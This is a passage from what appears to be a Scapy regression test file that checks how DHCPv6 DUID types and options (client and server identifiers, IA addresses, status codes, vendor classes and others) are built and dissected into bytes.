b'\\x00\\x01\"\"\\x11\\x11\\x11\\x11\\xff\\xff\\xff\\xff\\xff\\xff'\n\n= DUID_LLT basic dissection \na=DUID_LLT(raw(DUID_LLT()))\na.type == 1 and a.hwtype == 1 and a.timeval == 0 and a.lladdr == \"00:00:00:00:00:00\"\n\n= DUID_LLT dissection with specific values\na=DUID_LLT(b'\\x00\\x01\"\"\\x11\\x11\\x11\\x11\\xff\\xff\\xff\\xff\\xff\\xff') \na.type == 1 and a.hwtype == 0x2222 and a.timeval == 0x11111111 and a.lladdr == \"ff:ff:ff:ff:ff:ff\"\n\n\n############\n############\n+ Test DHCP6 DUID_EN\n\n= DUID_EN basic instantiation\na=DUID_EN() \n\n= DUID_EN basic build\nraw(DUID_EN()) == b'\\x00\\x02\\x00\\x00\\x017'\n\n= DUID_EN build with specific values\nraw(DUID_EN(enterprisenum=0x11111111, id=\"iamastring\")) == b'\\x00\\x02\\x11\\x11\\x11\\x11iamastring'\n\n= DUID_EN basic dissection \na=DUID_EN(b'\\x00\\x02\\x00\\x00\\x017')\na.type == 2 and a.enterprisenum == 311 \n\n= DUID_EN dissection with specific values \na=DUID_EN(b'\\x00\\x02\\x11\\x11\\x11\\x11iamarawing')\na.type == 2 and a.enterprisenum == 0x11111111 and a.id == b\"iamarawing\"\n\n\n############\n############\n+ Test DHCP6 DUID_LL\n\n= DUID_LL basic instantiation\na=DUID_LL() \n\n= DUID_LL basic build\nraw(DUID_LL()) == b'\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DUID_LL build with specific values\nraw(DUID_LL(hwtype=1, lladdr=\"ff:ff:ff:ff:ff:ff\")) == b'\\x00\\x03\\x00\\x01\\xff\\xff\\xff\\xff\\xff\\xff'\n\n= DUID_LL basic dissection\na=DUID_LL(raw(DUID_LL()))\na.type == 3 and a.hwtype == 1 and a.lladdr == \"00:00:00:00:00:00\"\n\n= DUID_LL with specific values \na=DUID_LL(b'\\x00\\x03\\x00\\x01\\xff\\xff\\xff\\xff\\xff\\xff')\na.hwtype == 1 and a.lladdr == \"ff:ff:ff:ff:ff:ff\"\n\n\n############\n############\n+ Test DHCP6 DUID_UUID\n\n= DUID_UUID basic instantiation\na=DUID_UUID() \n\n= DUID_UUID basic build\nraw(DUID_UUID()) == b\"\\0\\x04\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n\n= DUID_UUID build with specific values\nraw(DUID_UUID(uuid=\"272adcca-138c-4e8d-b3f4-634e953128cf\")) == \\\n   b\"\\x00\\x04'*\\xdc\\xca\\x13\\x8cN\\x8d\\xb3\\xf4cN\\x951(\\xcf\"\n\n= DUID_UUID basic dissection\na=DUID_UUID(raw(DUID_UUID()))\na.type == 4 and str(a.uuid) == \"00000000-0000-0000-0000-000000000000\"\n\n= DUID_UUID with specific values \na=DUID_UUID(b\"\\x00\\x04'*\\xdc\\xca\\x13\\x8cN\\x8d\\xb3\\xf4cN\\x951(\\xcf\")\na.type == 4 and str(a.uuid) == \"272adcca-138c-4e8d-b3f4-634e953128cf\"\n\n\n############\n############\n+ Test DHCP6 Opt Unknown\n\n= DHCP6 Opt Unknown basic instantiation \na=DHCP6OptUnknown()\n\n= DHCP6 Opt Unknown basic build (default values)\nraw(DHCP6OptUnknown()) == b'\\x00\\x00\\x00\\x00'\n\n= DHCP6 Opt Unknown - len computation test\nraw(DHCP6OptUnknown(data=\"shouldbe9\")) == b'\\x00\\x00\\x00\\tshouldbe9'\n\n\n############\n############\n+ Test DHCP6 Client Identifier option\n\n= DHCP6OptClientId basic instantiation\na=DHCP6OptClientId()\n\n= DHCP6OptClientId basic build\nraw(DHCP6OptClientId()) == b'\\x00\\x01\\x00\\x00'\n\n= DHCP6OptClientId instantiation with specific values \nraw(DHCP6OptClientId(duid=\"toto\")) == b'\\x00\\x01\\x00\\x04toto'\n\n= DHCP6OptClientId instantiation with DUID_LL\nraw(DHCP6OptClientId(duid=DUID_LL())) == b'\\x00\\x01\\x00\\n\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DHCP6OptClientId instantiation with DUID_LLT\nraw(DHCP6OptClientId(duid=DUID_LLT())) == b'\\x00\\x01\\x00\\x0e\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DHCP6OptClientId instantiation with DUID_EN\nraw(DHCP6OptClientId(duid=DUID_EN())) == b'\\x00\\x01\\x00\\x06\\x00\\x02\\x00\\x00\\x017'\n\n= DHCP6OptClientId instantiation with specified length\nraw(DHCP6OptClientId(optlen=80, duid=\"somestring\")) == b'\\x00\\x01\\x00Psomestring'\n\n= DHCP6OptClientId basic dissection\na=DHCP6OptClientId(b'\\x00\\x01\\x00\\x00') \na.optcode == 1 and a.optlen == 0\n\n= DHCP6OptClientId instantiation with specified length\nraw(DHCP6OptClientId(optlen=80, duid=\"somestring\")) == b'\\x00\\x01\\x00Psomestring'\n\n= DHCP6OptClientId basic dissection\na=DHCP6OptClientId(b'\\x00\\x01\\x00\\x00') \na.optcode == 1 and a.optlen == 0\n\n= DHCP6OptClientId dissection with specific duid value\na=DHCP6OptClientId(b'\\x00\\x01\\x00\\x04somerawing')\na.optcode == 1 and a.optlen == 4 and isinstance(a.duid, Raw) and a.duid.load == b'some' and isinstance(a.payload, DHCP6OptUnknown)\n\n= DHCP6OptClientId dissection with specific DUID_LL as duid value\na=DHCP6OptClientId(b'\\x00\\x01\\x00\\n\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00')\na.optcode == 1 and a.optlen == 10 and isinstance(a.duid, DUID_LL) and a.duid.type == 3 and a.duid.hwtype == 1 and a.duid.lladdr == \"00:00:00:00:00:00\"\n\n= DHCP6OptClientId dissection with specific DUID_LLT as duid value\na=DHCP6OptClientId(b'\\x00\\x01\\x00\\x0e\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.optcode == 1 and a.optlen == 14 and isinstance(a.duid, DUID_LLT) and a.duid.type == 1 and a.duid.hwtype == 1 and a.duid.timeval == 0 and a.duid.lladdr == \"00:00:00:00:00:00\"\n\n= DHCP6OptClientId dissection with specific DUID_EN as duid value\na=DHCP6OptClientId(b'\\x00\\x01\\x00\\x06\\x00\\x02\\x00\\x00\\x017')\na.optcode == 1 and a.optlen == 6 and isinstance(a.duid, DUID_EN) and a.duid.type == 2 and a.duid.enterprisenum == 311 and a.duid.id == b\"\"\n\n\n############\n############\n+ Test DHCP6 Server Identifier option\n\n= DHCP6OptServerId basic instantiation\na=DHCP6OptServerId()\n\n= DHCP6OptServerId basic build \nraw(DHCP6OptServerId()) == b'\\x00\\x02\\x00\\x00'\n\n= DHCP6OptServerId basic build with specific values\nraw(DHCP6OptServerId(duid=\"toto\")) == b'\\x00\\x02\\x00\\x04toto'\n\n= DHCP6OptServerId instantiation with DUID_LL\nraw(DHCP6OptServerId(duid=DUID_LL())) == b'\\x00\\x02\\x00\\n\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DHCP6OptServerId instantiation with DUID_LLT\nraw(DHCP6OptServerId(duid=DUID_LLT())) == b'\\x00\\x02\\x00\\x0e\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DHCP6OptServerId instantiation with DUID_EN\nraw(DHCP6OptServerId(duid=DUID_EN())) == b'\\x00\\x02\\x00\\x06\\x00\\x02\\x00\\x00\\x017'\n\n= DHCP6OptServerId instantiation with specified length\nraw(DHCP6OptServerId(optlen=80, duid=\"somestring\")) == b'\\x00\\x02\\x00Psomestring'\n\n= DHCP6OptServerId basic dissection\na=DHCP6OptServerId(b'\\x00\\x02\\x00\\x00') \na.optcode == 2 and a.optlen == 0\n\n= DHCP6OptServerId dissection with specific duid value\na=DHCP6OptServerId(b'\\x00\\x02\\x00\\x04somerawing')\na.optcode == 2 and a.optlen == 4 and isinstance(a.duid, Raw) and a.duid.load == b'some' and isinstance(a.payload, DHCP6OptUnknown)\n\n= DHCP6OptServerId dissection with specific DUID_LL as duid value\na=DHCP6OptServerId(b'\\x00\\x02\\x00\\n\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00')\na.optcode == 2 and a.optlen == 10 and isinstance(a.duid, DUID_LL) and a.duid.type == 3 and a.duid.hwtype == 1 and a.duid.lladdr == \"00:00:00:00:00:00\"\n\n= DHCP6OptServerId dissection with specific DUID_LLT as duid value\na=DHCP6OptServerId(b'\\x00\\x02\\x00\\x0e\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.optcode == 2 and a.optlen == 14 and isinstance(a.duid, DUID_LLT) and a.duid.type == 1 and a.duid.hwtype == 1 and a.duid.timeval == 0 and a.duid.lladdr == \"00:00:00:00:00:00\"\n\n= DHCP6OptServerId dissection with specific DUID_EN as duid value\na=DHCP6OptServerId(b'\\x00\\x02\\x00\\x06\\x00\\x02\\x00\\x00\\x017')\na.optcode == 2 and a.optlen == 6 and isinstance(a.duid, DUID_EN) and a.duid.type == 2 and a.duid.enterprisenum == 311 and a.duid.id == b\"\"\n\n\n############\n############\n+ Test DHCP6 IA Address Option (IA_TA or IA_NA suboption)\n\n= DHCP6OptIAAddress - Basic Instantiation\nraw(DHCP6OptIAAddress()) == b'\\x00\\x05\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DHCP6OptIAAddress - Basic Dissection\na = DHCP6OptIAAddress(b'\\x00\\x05\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.optcode == 5 and a.optlen == 24 and a.addr == \"::\" and a.preflft == 0 and a. validlft == 0 and a.iaaddropts == []\n\n= DHCP6OptIAAddress - Instantiation with specific values\nraw(DHCP6OptIAAddress(optlen=0x1111, addr=\"2222:3333::5555\", preflft=0x66666666, validlft=0x77777777, iaaddropts=\"somestring\")) == b'\\x00\\x05\\x11\\x11\"\"33\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00UUffffwwwwsomestring'\n\n= DHCP6OptIAAddress - Instantiation with specific values (default optlen computation)\nraw(DHCP6OptIAAddress(addr=\"2222:3333::5555\", preflft=0x66666666, validlft=0x77777777, iaaddropts=\"somestring\")) == b'\\x00\\x05\\x00\"\"\"33\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00UUffffwwwwsomestring'\n\n= DHCP6OptIAAddress - Dissection with specific values \na = DHCP6OptIAAddress(b'\\x00\\x05\\x00\"\"\"33\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00UUffffwwwwsomerawing')\na.optcode == 5 and a.optlen == 34 and a.addr == \"2222:3333::5555\" and a.preflft == 0x66666666 and a. validlft == 0x77777777 and a.iaaddropts[0].load == b\"somerawing\"\n\n\n############\n############\n+ Test DHCP6 Identity Association for Non-temporary Addresses Option\n\n= DHCP6OptIA_NA - Basic Instantiation\nraw(DHCP6OptIA_NA()) == b'\\x00\\x03\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DHCP6OptIA_NA - Basic Dissection\na = DHCP6OptIA_NA(b'\\x00\\x03\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.optcode == 3 and a.optlen == 12 and a.iaid == 0 and a.T1 == 0 and a.T2==0 and a.ianaopts == []\n\n= DHCP6OptIA_NA - Instantiation with specific values (keep automatic length computation) \nraw(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == b'\\x00\\x03\\x00\\x0c\"\"\"\"3333DDDD'\n\n= DHCP6OptIA_NA - Instantiation with specific values (forced optlen)\nraw(DHCP6OptIA_NA(optlen=0x1111, iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == b'\\x00\\x03\\x11\\x11\"\"\"\"3333DDDD'\n\n= DHCP6OptIA_NA - Instantiation with a list of IA Addresses (optlen automatic computation)\nraw(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444, ianaopts=[DHCP6OptIAAddress(), DHCP6OptIAAddress()])) == b'\\x00\\x03\\x00D\"\"\"\"3333DDDD\\x00\\x05\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DHCP6OptIA_NA - Dissection with specific values\na = DHCP6OptIA_NA(b'\\x00\\x03\\x00L\"\"\"\"3333DDDD\\x00\\x05\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.optcode == 3 and a.optlen == 76 and a.iaid == 0x22222222 and a.T1 == 0x33333333 and a.T2==0x44444444 and len(a.ianaopts) == 2 and isinstance(a.ianaopts[0], DHCP6OptIAAddress) and isinstance(a.ianaopts[1], DHCP6OptIAAddress)\n\n= DHCP6OptIA_NA - Instantiation with a list of different opts: IA Address and Status Code (optlen automatic computation)\nraw(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444, ianaopts=[DHCP6OptIAAddress(), DHCP6OptStatusCode(statuscode=0xff, statusmsg=\"Hello\")])) == b'\\x00\\x03\\x003\"\"\"\"3333DDDD\\x00\\x05\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x07\\x00\\xffHello'\n\n\n############\n############\n+ Test DHCP6 Identity Association for Temporary Addresses Option\n\n= DHCP6OptIA_TA - Basic Instantiation\nraw(DHCP6OptIA_TA()) == b'\\x00\\x04\\x00\\x04\\x00\\x00\\x00\\x00'\n\n= DHCP6OptIA_TA - Basic Dissection\na = DHCP6OptIA_TA(b'\\x00\\x04\\x00\\x04\\x00\\x00\\x00\\x00')\na.optcode == 4 and a.optlen == 4 and a.iaid == 0 and a.iataopts == []\n\n= DHCP6OptIA_TA - Instantiation with specific values\nraw(DHCP6OptIA_TA(optlen=0x1111, iaid=0x22222222, iataopts=[DHCP6OptIAAddress(), DHCP6OptIAAddress()])) == b'\\x00\\x04\\x11\\x11\"\"\"\"\\x00\\x05\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DHCP6OptIA_TA - Dissection with specific values\na = DHCP6OptIA_TA(b'\\x00\\x04\\x11\\x11\"\"\"\"\\x00\\x05\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.optcode == 4 and a.optlen == 0x1111 and a.iaid == 0x22222222 and len(a.iataopts) == 2 and isinstance(a.iataopts[0], DHCP6OptIAAddress) and isinstance(a.iataopts[1], DHCP6OptIAAddress)\n\n= DHCP6OptIA_TA - Instantiation with a list of different opts: IA Address and Status Code (optlen automatic computation)\nraw(DHCP6OptIA_TA(iaid=0x22222222, iataopts=[DHCP6OptIAAddress(), DHCP6OptStatusCode(statuscode=0xff, statusmsg=\"Hello\")])) == b'\\x00\\x04\\x00+\"\"\"\"\\x00\\x05\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x07\\x00\\xffHello'\n\n\n############\n############\n+ Test DHCP6 Option Request Option\n\n= DHCP6OptOptReq - Basic Instantiation\nraw(DHCP6OptOptReq()) ==  b'\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18'\n\n= DHCP6OptOptReq - optlen field computation\nraw(DHCP6OptOptReq(reqopts=[1,2,3,4])) == b'\\x00\\x06\\x00\\x08\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x04'\n\n= DHCP6OptOptReq - instantiation with empty list\nraw(DHCP6OptOptReq(reqopts=[])) == b'\\x00\\x06\\x00\\x00'\n\n= DHCP6OptOptReq - Basic dissection\na=DHCP6OptOptReq(b'\\x00\\x06\\x00\\x00')\na.optcode == 6 and a.optlen == 0 and a.reqopts == []\n\n= DHCP6OptOptReq - Dissection with specific value\na=DHCP6OptOptReq(b'\\x00\\x06\\x00\\x08\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x04')\na.optcode == 6 and a.optlen == 8 and a.reqopts == [1,2,3,4]\n\n= DHCP6OptOptReq - repr\na.show()\n\n\n############\n############\n+ Test DHCP6 Option - Preference option\n\n= DHCP6OptPref - Basic instantiation\nraw(DHCP6OptPref()) == b'\\x00\\x07\\x00\\x01\\xff'\n\n= DHCP6OptPref - Instantiation with specific values \nraw(DHCP6OptPref(optlen=0xffff, prefval= 0x11)) == b'\\x00\\x07\\xff\\xff\\x11'\n\n= DHCP6OptPref - Basic Dissection\na=DHCP6OptPref(b'\\x00\\x07\\x00\\x01\\xff')\na.optcode == 7 and a.optlen == 1 and a.prefval == 255\n\n= DHCP6OptPref - Dissection with specific values\na=DHCP6OptPref(b'\\x00\\x07\\xff\\xff\\x11')\na.optcode == 7 and a.optlen == 0xffff and a.prefval == 0x11\n\n\n############\n############\n+ Test DHCP6 Option - Elapsed Time\n\n= DHCP6OptElapsedTime - Basic Instantiation\nraw(DHCP6OptElapsedTime()) == b'\\x00\\x08\\x00\\x02\\x00\\x00'\n\n= DHCP6OptElapsedTime - Instantiation with specific elapsedtime value\nraw(DHCP6OptElapsedTime(elapsedtime=421)) == b'\\x00\\x08\\x00\\x02\\x01\\xa5'\n\n= DHCP6OptElapsedTime - Basic Dissection\na=DHCP6OptElapsedTime(b'\\x00\\x08\\x00\\x02\\x00\\x00') \na.optcode == 8 and a.optlen == 2 and a.elapsedtime == 0\n\n= DHCP6OptElapsedTime - Dissection with specific values\na=DHCP6OptElapsedTime(b'\\x00\\x08\\x00\\x02\\x01\\xa5')\na.optcode == 8 and a.optlen == 2 and a.elapsedtime == 421\n\n= DHCP6OptElapsedTime - Repr\na.show()\n\n\n############\n############\n+ Test DHCP6 Option - Server Unicast Address\n\n= DHCP6OptServerUnicast - Basic Instantiation\nraw(DHCP6OptServerUnicast()) == b'\\x00\\x0c\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DHCP6OptServerUnicast - Instantiation with specific values (test 1)\nraw(DHCP6OptServerUnicast(srvaddr=\"2001::1\")) == b'\\x00\\x0c\\x00\\x10 \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\n= DHCP6OptServerUnicast - Instantiation with specific values (test 2)\nraw(DHCP6OptServerUnicast(srvaddr=\"2001::1\", optlen=42)) == b'\\x00\\x0c\\x00* \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\n= DHCP6OptServerUnicast - Dissection with default values\na=DHCP6OptServerUnicast(b'\\x00\\x0c\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.optcode == 12 and a.optlen == 16 and a.srvaddr == \"::\"\n\n= DHCP6OptServerUnicast - Dissection with specific values (test 1)\na=DHCP6OptServerUnicast(b'\\x00\\x0c\\x00\\x10 \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\na.optcode == 12 and a.optlen == 16 and a.srvaddr == \"2001::1\"\n\n= DHCP6OptServerUnicast - Dissection with specific values (test 2)\na=DHCP6OptServerUnicast(b'\\x00\\x0c\\x00* \\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\na.optcode == 12 and a.optlen == 42 and a.srvaddr == \"2001::1\"\n\n\n############\n############\n+ Test DHCP6 Option - Status Code\n\n= DHCP6OptStatusCode - Basic Instantiation\nraw(DHCP6OptStatusCode()) == b'\\x00\\r\\x00\\x02\\x00\\x00' \n\n= DHCP6OptStatusCode - Instantiation with specific values\nraw(DHCP6OptStatusCode(optlen=42, statuscode=0xff, statusmsg=\"Hello\")) == b'\\x00\\r\\x00*\\x00\\xffHello'\n\n= DHCP6OptStatusCode - Automatic Length computation\nraw(DHCP6OptStatusCode(statuscode=0xff, statusmsg=\"Hello\")) == b'\\x00\\r\\x00\\x07\\x00\\xffHello'\n\n# Add tests to verify Unicode behavior\n\n\n############\n############\n+ Test DHCP6 Option - Rapid Commit\n\n= DHCP6OptRapidCommit - Basic Instantiation\nraw(DHCP6OptRapidCommit()) == b'\\x00\\x0e\\x00\\x00'\n\n= DHCP6OptRapidCommit - Basic Dissection\na=DHCP6OptRapidCommit(b'\\x00\\x0e\\x00\\x00')\na.optcode == 14 and a.optlen == 0\n\n\n############\n############\n+ Test DHCP6 Option - User class\n\n= DHCP6OptUserClass - Basic Instantiation\nraw(DHCP6OptUserClass()) == b'\\x00\\x0f\\x00\\x00'\n\n= DHCP6OptUserClass - Basic Dissection\na = DHCP6OptUserClass(b'\\x00\\x0f\\x00\\x00')\na.optcode == 15 and a.optlen == 0 and a.userclassdata == []\n\n= DHCP6OptUserClass - Instantiation with one user class data rawucture\nraw(DHCP6OptUserClass(userclassdata=[USER_CLASS_DATA(data=\"something\")])) == b'\\x00\\x0f\\x00\\x0b\\x00\\tsomething'\n\n= DHCP6OptUserClass - Dissection with one user class data rawucture\na = DHCP6OptUserClass(b'\\x00\\x0f\\x00\\x0b\\x00\\tsomething')\na.optcode == 15 and a.optlen == 11 and len(a.userclassdata) == 1 and isinstance(a.userclassdata[0], USER_CLASS_DATA) and a.userclassdata[0].len == 9 and a.userclassdata[0].data == b'something'\n\n= DHCP6OptUserClass - Instantiation with two user class data rawuctures\nraw(DHCP6OptUserClass(userclassdata=[USER_CLASS_DATA(data=\"something\"), USER_CLASS_DATA(data=\"somethingelse\")])) == b'\\x00\\x0f\\x00\\x1a\\x00\\tsomething\\x00\\rsomethingelse'\n\n= DHCP6OptUserClass - Dissection with two user class data rawuctures\na = DHCP6OptUserClass(b'\\x00\\x0f\\x00\\x1a\\x00\\tsomething\\x00\\rsomethingelse')\na.optcode == 15 and a.optlen == 26 and len(a.userclassdata) == 2 and isinstance(a.userclassdata[0], USER_CLASS_DATA) and isinstance(a.userclassdata[1], USER_CLASS_DATA) and a.userclassdata[0].len == 9 and a.userclassdata[0].data == b'something' and a.userclassdata[1].len == 13 and a.userclassdata[1].data == b'somethingelse'\n\n\n############\n############\n+ Test DHCP6 Option - Vendor class\n\n= DHCP6OptVendorClass - Basic Instantiation\nraw(DHCP6OptVendorClass()) == b'\\x00\\x10\\x00\\x04\\x00\\x00\\x00\\x00'\n\n= DHCP6OptVendorClass - Basic Dissection\na = DHCP6OptVendorClass(b'\\x00\\x10\\x00\\x04\\x00\\x00\\x00\\x00')\na.optcode == 16 and a.optlen == 4 and a.enterprisenum == 0 and a.vcdata == []\n\n= DHCP6OptVendorClass - Instantiation with one vendor class data rawucture\nraw(DHCP6OptVendorClass(vcdata=[VENDOR_CLASS_DATA(data=\"something\")])) == b'\\x00\\x10\\x00\\x0f\\x00\\x00\\x00\\x00\\x00\\tsomething'\n\n= DHCP6OptVendorClass - Dissection with one vendor class data rawucture\na = DHCP6OptVendorClass(b'\\x00\\x10\\x00\\x0f\\x00\\x00\\x00\\x00\\x00\\tsomething')\na.optcode == 16 and a.optlen == 15 and a.enterprisenum == 0 and len(a.vcdata) == 1 and isinstance(a.vcdata[0], VENDOR_CLASS_DATA) and a.vcdata[0].len == 9 and a.vcdata[0].data == b'something'\n\n= DHCP6OptVendorClass - Instantiation with two vendor class data rawuctures\nraw(DHCP6OptVendorClass(vcdata=[VENDOR_CLASS_DATA(data=\"something\"), VENDOR_CLASS_DATA(data=\"somethingelse\")])) == b'\\x00\\x10\\x00\\x1e\\x00\\x00\\x00\\x00\\x00\\tsomething\\x00\\rsomethingelse'\n\n= DHCP6OptVendorClass - Dissection with two vendor class data rawuctures\na = DHCP6OptVendorClass(b'\\x00\\x10\\x00\\x1e\\x00\\x00\\x00\\x00\\x00\\tsomething\\x00\\rsomethingelse')\na.optcode == 16 and a.optlen == 30 and a.enterprisenum == 0 and len(a.vcdata) == 2 and isinstance(a.vcdata[0], VENDOR_CLASS_DATA) and isinstance(a.vcdata[1], VENDOR_CLASS_DATA) and a.vcdata[0].len == 9 and a.vcdata[0].data == b'something' and a.vcdata[1].len == 13 and a.vcdata[1].data == b'somethingelse'\n\n\n############\n############\n+ Test DHCP6 Option - Vendor-specific information\n\n= DHCP6OptVendorSpecificInfo - Basic Instantiation\nraw(DHCP6OptVendorSpecificInfo()) == b'\\x00\\x11\\x00\\x04\\x00\\x00\\x00\\x00'\n\n= DHCP6OptVendorSpecificInfo - Basic Dissection\na = DHCP6OptVendorSpecificInfo(b'\\x00\\x11\\x00\\x04\\x00\\x00\\x00\\x00')\na.optcode == 17 and a.optlen == 4 and a.enterprisenum == 0\n\n= DHCP6OptVendorSpecificInfo - Instantiation with specific values (one option)\nraw(DHCP6OptVendorSpecificInfo(enterprisenum=0xeeeeeeee, vso=[VENDOR_SPECIFIC_OPTION(optcode=43, optdata=\"something\")])) == b'\\x00\\x11\\x00\\x11\\xee\\xee\\xee\\xee\\x00+\\x00\\tsomething'\n\n= DHCP6OptVendorSpecificInfo - Dissection with with specific values (one option)\na = DHCP6OptVendorSpecificInfo(b'\\x00\\x11\\x00\\x11\\xee\\xee\\xee\\xee\\x00+\\x00\\tsomething')\na.optcode == 17 and a.optlen == 17 and a.enterprisenum == 0xeeeeeeee and len(a.vso) == 1 and isinstance(a.vso[0], VENDOR_SPECIFIC_OPTION) and a.vso[0].optlen == 9 and a.vso[0].optdata == b'something'\n\n= DHCP6OptVendorSpecificInfo - Instantiation with specific values (two options)\nraw(DHCP6OptVendorSpecificInfo(enterprisenum=0xeeeeeeee, vso=[VENDOR_SPECIFIC_OPTION(optcode=43, optdata=\"something\"), VENDOR_SPECIFIC_OPTION(optcode=42, optdata=\"somethingelse\")])) == b'\\x00\\x11\\x00\"\\xee\\xee\\xee\\xee\\x00+\\x00\\tsomething\\x00*\\x00\\rsomethingelse'\n\n= DHCP6OptVendorSpecificInfo - Dissection with with specific values (two options)\na = DHCP6OptVendorSpecificInfo(b'\\x00\\x11\\x00\"\\xee\\xee\\xee\\xee\\x00+\\x00\\tsomething\\x00*\\x00\\rsomethingelse')\na.optcode == 17 and a.optlen == 34 and a.enterprisenum == 0xeeeeeeee and len(a.vso) == 2 and isinstance(a.vso[0], VENDOR_SPECIFIC_OPTION) and isinstance(a.vso[1], VENDOR_SPECIFIC_OPTION) and a.vso[0].optlen == 9 and a.vso[0].optdata == b'something' and a.vso[1].optlen == 13 and a.vso[1].optdata == b'somethingelse'\n\n\n############\n############\n+ Test DHCP6 Option - Interface-Id \n\n= DHCP6OptIfaceId - Basic Instantiation\nraw(DHCP6OptIfaceId()) == b'\\x00\\x12\\x00\\x00'\n\n= DHCP6OptIfaceId - Basic Dissection\na = DHCP6OptIfaceId(b'\\x00\\x12\\x00\\x00')\na.optcode == 18 and a.optlen == 0\n\n= DHCP6OptIfaceId - Instantiation with specific value\nraw(DHCP6OptIfaceId(ifaceid=\"something\")) == b'\\x00\\x12\\x00\\x09something'\n\n= DHCP6OptIfaceId - Dissection with specific value\na = DHCP6OptIfaceId(b'\\x00\\x12\\x00\\x09something')\na.optcode == 18 and a.optlen == 9 and a.ifaceid == b\"something\"\n\n\n############\n############\n+ Test DHCP6 Option - Reconfigure Message\n\n= DHCP6OptReconfMsg - Basic Instantiation\nraw(DHCP6OptReconfMsg()) == b'\\x00\\x13\\x00\\x01\\x0b'\n\n= DHCP6OptReconfMsg - Basic Dissection\na = DHCP6OptReconfMsg(b'\\x00\\x13\\x00\\x01\\x0b')\na.optcode == 19 and a.optlen == 1 and a.msgtype 